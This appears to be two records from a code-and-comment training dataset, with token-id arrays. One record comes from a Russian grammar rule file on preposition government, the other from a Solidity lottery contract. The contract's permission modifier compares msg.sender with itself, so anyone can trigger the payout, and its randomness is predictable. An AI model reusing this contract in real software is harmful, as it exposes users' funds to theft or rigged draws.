rus_verbs:стремиться{}, // стремиться к вершине rus_verbs:лететь{}, // лететь к родственникам rus_verbs:ездить{}, // ездить к любовнице rus_verbs:приближаться{}, // приближаться к финише rus_verbs:помчаться{}, // помчаться к стоматологу rus_verbs:прислушаться{}, // прислушаться к происходящему rus_verbs:изменить{}, // изменить к лучшему собственную жизнь rus_verbs:проявить{}, // проявить к погибшим сострадание rus_verbs:подбежать{}, // подбежать к упавшему rus_verbs:терять{}, // терять к партнерам доверие rus_verbs:пропустить{}, // пропустить к певцу rus_verbs:подвести{}, // подвести к глазам rus_verbs:меняться{}, // меняться к лучшему rus_verbs:заходить{}, // заходить к другу rus_verbs:рвануться{}, // рвануться к воде rus_verbs:привлечь{}, // привлечь к себе внимание rus_verbs:присоединиться{}, // присоединиться к сети rus_verbs:приезжать{}, // приезжать к дедушке rus_verbs:дернуться{}, // дернуться к борту rus_verbs:подъехать{}, // подъехать к воротам rus_verbs:готовиться{}, // готовиться к дождю rus_verbs:убежать{}, // убежать к маме rus_verbs:поднимать{}, // поднимать к источнику сигнала rus_verbs:отослать{}, // отослать к руководителю rus_verbs:приготовиться{}, // приготовиться к худшему rus_verbs:приступить{}, // приступить к выполнению обязанностей rus_verbs:метнуться{}, // метнуться к фонтану rus_verbs:прислушиваться{}, // прислушиваться к голосу разума rus_verbs:побрести{}, // побрести к выходу rus_verbs:мчаться{}, // мчаться к успеху rus_verbs:нестись{}, // нестись к обрыву rus_verbs:попадать{}, // попадать к хорошему костоправу rus_verbs:опоздать{}, // опоздать к психотерапевту rus_verbs:посылать{}, // посылать к доктору rus_verbs:поплыть{}, // поплыть к берегу rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе rus_verbs:отнести{}, // отнести животное к ветеринару rus_verbs:прислониться{}, // прислониться к стволу rus_verbs:наклонить{}, // наклонить к миске с молоком rus_verbs:прикоснуться{}, // прикоснуться к поверхности rus_verbs:увезти{}, // увезти к бабушке rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия rus_verbs:подозвать{}, // подозвать к себе rus_verbs:улететь{}, // улететь к теплым берегам rus_verbs:ложиться{}, // ложиться к мужу rus_verbs:убираться{}, // убираться к чертовой бабушке rus_verbs:класть{}, // класть к другим документам rus_verbs:доставлять{}, // доставлять к подъезду rus_verbs:поворачиваться{}, // поворачиваться к источнику шума rus_verbs:заглядывать{}, // заглядывать к любовнице rus_verbs:занести{}, // занести к заказчикам rus_verbs:прибежать{}, // прибежать к папе rus_verbs:притянуть{}, // притянуть к причалу rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:подать{}, // он подал лимузин к подъезду rus_verbs:подавать{}, // она подавала соус к мясу rus_verbs:приобщаться{}, // приобщаться к культуре прилагательное:неспособный{}, // Наша дочка неспособна к учению. прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару прилагательное:предназначенный{}, // Старый дом предназначен к сносу. прилагательное:внимательный{}, // Она всегда внимательна к гостям. прилагательное:назначенный{}, // Дело назначено к докладу. прилагательное:разрешенный{}, // Эта книга разрешена к печати. прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам. прилагательное:готовый{}, // Я готов к экзаменам. прилагательное:требовательный{}, // Он очень требователен к себе. прилагательное:жадный{}, // Он жаден к деньгам. прилагательное:глухой{}, // Он глух к моей просьбе. прилагательное:добрый{}, // Он добр к детям. rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам. rus_verbs:плыть{}, // Пароход плыл к берегу. rus_verbs:пойти{}, // я пошел к доктору rus_verbs:придти{}, // придти к выводу rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом. rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений. rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам. rus_verbs:спускаться{}, // Улица круто спускается к реке. rus_verbs:спуститься{}, // Мы спустились к реке. rus_verbs:пустить{}, // пускать ко дну rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью! rus_verbs:отойти{}, // Дом отошёл к племяннику. rus_verbs:отходить{}, // Коля отходил ко сну. rus_verbs:приходить{}, // местные жители к нему приходили лечиться rus_verbs:кидаться{}, // не кидайся к столу rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу. rus_verbs:закончиться{}, // Собрание закончилось к вечеру. rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему. rus_verbs:направиться{}, // Мы сошли на берег и направились к городу. rus_verbs:направляться{}, rus_verbs:свестись{}, // Всё свелось к нулю. rus_verbs:прислать{}, // Пришлите кого-нибудь к ней. rus_verbs:присылать{}, // Он присылал к должнику своих головорезов rus_verbs:подлететь{}, // Самолёт подлетел к лесу. rus_verbs:возвращаться{}, // он возвращается к старой работе глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая. rus_verbs:возвращать{}, // возвращать к жизни rus_verbs:располагать{}, // Атмосфера располагает к работе. rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому. rus_verbs:поступить{}, // К нам поступила жалоба. rus_verbs:поступать{}, // К нам поступают жалобы. rus_verbs:прыгнуть{}, // Белка прыгнула к дереву rus_verbs:торопиться{}, // пассажиры торопятся к выходу rus_verbs:поторопиться{}, // поторопитесь к выходу rus_verbs:вернуть{}, // вернуть к активной жизни rus_verbs:припирать{}, // припирать к стенке rus_verbs:проваливать{}, // Проваливай ко всем чертям! rus_verbs:вбежать{}, // Коля вбежал ко мне rus_verbs:вбегать{}, // Коля вбегал ко мне глагол:забегать{ вид:несоверш }, // Коля забегал ко мне rus_verbs:постучаться{}, // Коля постучался ко мне. rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому rus_verbs:понести{}, // Мы понесли кота к ветеринару rus_verbs:принести{}, // Я принес кота к ветеринару rus_verbs:устремиться{}, // Мы устремились к ручью. rus_verbs:подводить{}, // Учитель подводил детей к аквариуму rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения. rus_verbs:пригласить{}, // Я пригласил к себе товарищей. rus_verbs:собираться{}, // Я собираюсь к тебе в гости. rus_verbs:собраться{}, // Маша собралась к дантисту rus_verbs:сходить{}, // Я схожу к врачу. rus_verbs:идти{}, // Маша уверенно шла к Пете rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию. rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию. rus_verbs:заканчивать{}, // Заканчивайте к обеду rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:окончить{}, // rus_verbs:дозвониться{}, // Я не мог к вам дозвониться. глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор rus_verbs:уйти{}, // Антонио ушел к Элеонор rus_verbs:бежать{}, // Антонио бежит к Элеонор rus_verbs:спешить{}, // Антонио спешит к Элеонор rus_verbs:скакать{}, // Антонио скачет к Элеонор rus_verbs:красться{}, // Антонио крадётся к Элеонор rus_verbs:поскакать{}, // беглецы поскакали к холмам rus_verbs:перейти{} // Антонио перешел к Элеонор } fact гл_предл { if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } } then return true } fact гл_предл { if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:к{} *:*{} } then return false,-5 } #endregion Предлог_К #region Предлог_ДЛЯ // ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ---------------------- wordentry_set Гл_ДЛЯ_Род={ частица:нет{}, // для меня нет других путей. частица:нету{}, rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ) rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ) rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться) rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ) rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ) rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ) rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ) rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ) rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ) rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ) rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ) rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ) rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ) rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ) rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ) rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ) rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ) rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ) rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ) rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ) rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ) rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ) rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ) rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ) rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ) rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ) rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ) rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ) прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ) rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ) rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ) rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ) rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ) rus_verbs:оставить{}, // или вообще решили оставить планету для себя rus_verbs:оставлять{}, rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ) rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ) rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ) rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ) rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ) rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ) rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ) rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ) rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для) rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ) rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ) rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ) rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ) rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ) прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ) прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ) прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ) rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ) rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ) rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ) rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ) rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ) rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ) rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ) rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ) rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ) rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ) rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ) rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ) прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ) rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ) rus_verbs:вывести{}, // мы специально вывели этих животных для мяса. rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для) rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ) rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ) rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ) rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ) rus_verbs:найтись{}, // у вас найдется для него работа? rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для) rus_verbs:заехать{}, // Коля заехал для обсуждения проекта rus_verbs:созреть{}, // созреть для побега rus_verbs:наметить{}, // наметить для проверки rus_verbs:уяснить{}, // уяснить для себя rus_verbs:нанимать{}, // нанимать для разовой работы rus_verbs:приспособить{}, // приспособить для удовольствия rus_verbs:облюбовать{}, // облюбовать для посиделок rus_verbs:прояснить{}, // прояснить для себя rus_verbs:задействовать{}, // задействовать для патрулирования rus_verbs:приготовлять{}, // приготовлять для проверки инфинитив:использовать{ вид:соверш }, // использовать для достижения цели инфинитив:использовать{ вид:несоверш }, глагол:использовать{ вид:соверш }, глагол:использовать{ вид:несоверш }, прилагательное:использованный{}, деепричастие:используя{}, деепричастие:использовав{}, rus_verbs:напрячься{}, // напрячься для решительного рывка rus_verbs:одобрить{}, // одобрить для использования rus_verbs:одобрять{}, // одобрять для использования rus_verbs:пригодиться{}, // пригодиться для тестирования rus_verbs:готовить{}, // готовить для выхода в свет rus_verbs:отобрать{}, // отобрать для участия в конкурсе rus_verbs:потребоваться{}, // потребоваться для подтверждения rus_verbs:пояснить{}, // пояснить для слушателей rus_verbs:пояснять{}, // пояснить для экзаменаторов rus_verbs:понадобиться{}, // понадобиться для обоснования инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, rus_verbs:найти{}, // Папа нашел для детей няню прилагательное:вредный{}, // Это вредно для здоровья. прилагательное:полезный{}, // Прогулки полезны для здоровья. прилагательное:обязательный{}, // Этот пункт обязателен для исполнения прилагательное:бесполезный{}, // Это лекарство бесполезно для него прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления rus_verbs:создать{}, // Он не создан для этого дела. прилагательное:сложный{}, // задача сложна для младших школьников прилагательное:несложный{}, прилагательное:лёгкий{}, прилагательное:сложноватый{}, rus_verbs:становиться{}, rus_verbs:представлять{}, // Это не представляет для меня интереса. rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка rus_verbs:пройти{}, // День прошёл спокойно для него. rus_verbs:проходить{}, rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ rus_verbs:высаживаться{}, rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца. rus_verbs:прибавить{}, rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов. rus_verbs:составлять{}, rus_verbs:стараться{}, // Я старался для вас rus_verbs:постараться{}, // Я постарался для вас rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста. rus_verbs:собраться{}, // собраться для обсуждения rus_verbs:собираться{}, // собираться для обсуждения rus_verbs:уполномочивать{}, rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров rus_verbs:принести{}, // Я принёс эту книгу для вас. rus_verbs:делать{}, // Я это делаю для удовольствия. rus_verbs:сделать{}, // Я сделаю это для удовольствия. rus_verbs:подготовить{}, // я подготовил для друзей сюрприз rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села rus_verbs:прибыть{} // они прибыли для участия } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } } then return true } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:для{} *:*{} } then return false,-4 } #endregion Предлог_ДЛЯ #region Предлог_ОТ // попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_ОТ_Род_Запр= { rus_verbs:наслаждаться{}, // свободой от обязательств rus_verbs:насладиться{}, rus_verbs:мочь{}, // Он не мог удержаться от смеха. // rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:чувствовать{}, // все время от времени чувствуют его. rus_verbs:планировать{}, rus_verbs:приняться{} // мы принялись обниматься от радости. } fact гл_предл { if context { Глаг_ОТ_Род_Запр предлог:от{} * } then return false } #endregion Предлог_ОТ #region Предлог_БЕЗ /* // запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_БЕЗ_Род_Запр= { rus_verbs:мочь{}, // Он мог читать часами без отдыха. rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:планировать{}, rus_verbs:приняться{} } fact гл_предл { if context { Глаг_БЕЗ_Род_Запр предлог:без{} * } then return false } */ #endregion Предлог_БЕЗ #region Предлог_КРОМЕ fact гл_предл { if context { * ПредлогДляВсе * } then return false,-5 } #endregion Предлог_КРОМЕ // ------------------------------------ // По умолчанию разрешаем все остальные сочетания. fact гл_предл { if context { * * * } then return true }
об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ)
rus_verbs:ДОГАДАТЬСЯ{},
5,487,530
[ 1, 145, 127, 145, 114, 225, 145, 127, 146, 228, 146, 229, 145, 113, 145, 124, 146, 239, 145, 126, 145, 127, 145, 125, 225, 145, 126, 145, 118, 146, 229, 146, 227, 146, 230, 145, 117, 145, 126, 145, 127, 225, 145, 117, 145, 127, 145, 116, 145, 113, 145, 117, 145, 113, 146, 229, 146, 239, 146, 228, 146, 242, 18, 261, 145, 247, 145, 257, 145, 246, 145, 243, 145, 247, 145, 243, 145, 100, 145, 110, 145, 99, 145, 112, 225, 145, 257, 145, 244, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 436, 407, 67, 502, 2038, 30, 145, 247, 145, 257, 145, 246, 145, 243, 145, 247, 145, 243, 145, 100, 145, 110, 145, 99, 145, 112, 2916, 16, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.17; contract Lottery{ address public manager; address[] public players; address public lastWinner; function Lottery() public { manager = msg.sender; // Set manager to sender of contract (owner of Lottery contract) } function getParticipants() public view returns (address[]){ //View because it does not change data, returns players address array return players; } function enterLottery() public payable { // If player sends 0.01 of Eth (in wei), accept them into players array require(msg.value > 0.01 ether); players.push(msg.sender); } function randomNumber() private view returns (uint) { // Take 3 pieces of pseudo-randomness and feeds them into the sha3 algorithm shaw al return uint(sha3(block.difficulty, now, players)); // Turns random-ish hash into uint and returns it } function getWinner() public restrictPermissions { // Uses function modifier // require(msg.sender == manager); // Require that the person calling getWinner is the manager of the contract uint player = randomNumber() % players.length; // Get player whos remainder is arrays index players[player].transfer(this.balance); // Transfer takes ALL money from current contract and sends to address provided lastWinner = players[player]; // Set winner as randomly selected lottery player players = new address[](0); // Reinitialize players array to be dynamic and initialize its starting size to zero } modifier restrictPermissions() { // Function modifier to avoid code redundancy and repetition require(msg.sender == msg.sender); _; // Underscore represents all code from functions you add the modifier to (is required) } }
Set winner as randomly selected lottery player
lastWinner = players[player];
7,269,477
[ 1, 694, 5657, 1224, 487, 20153, 3170, 17417, 387, 93, 7291, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1142, 59, 7872, 273, 18115, 63, 14872, 15533, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
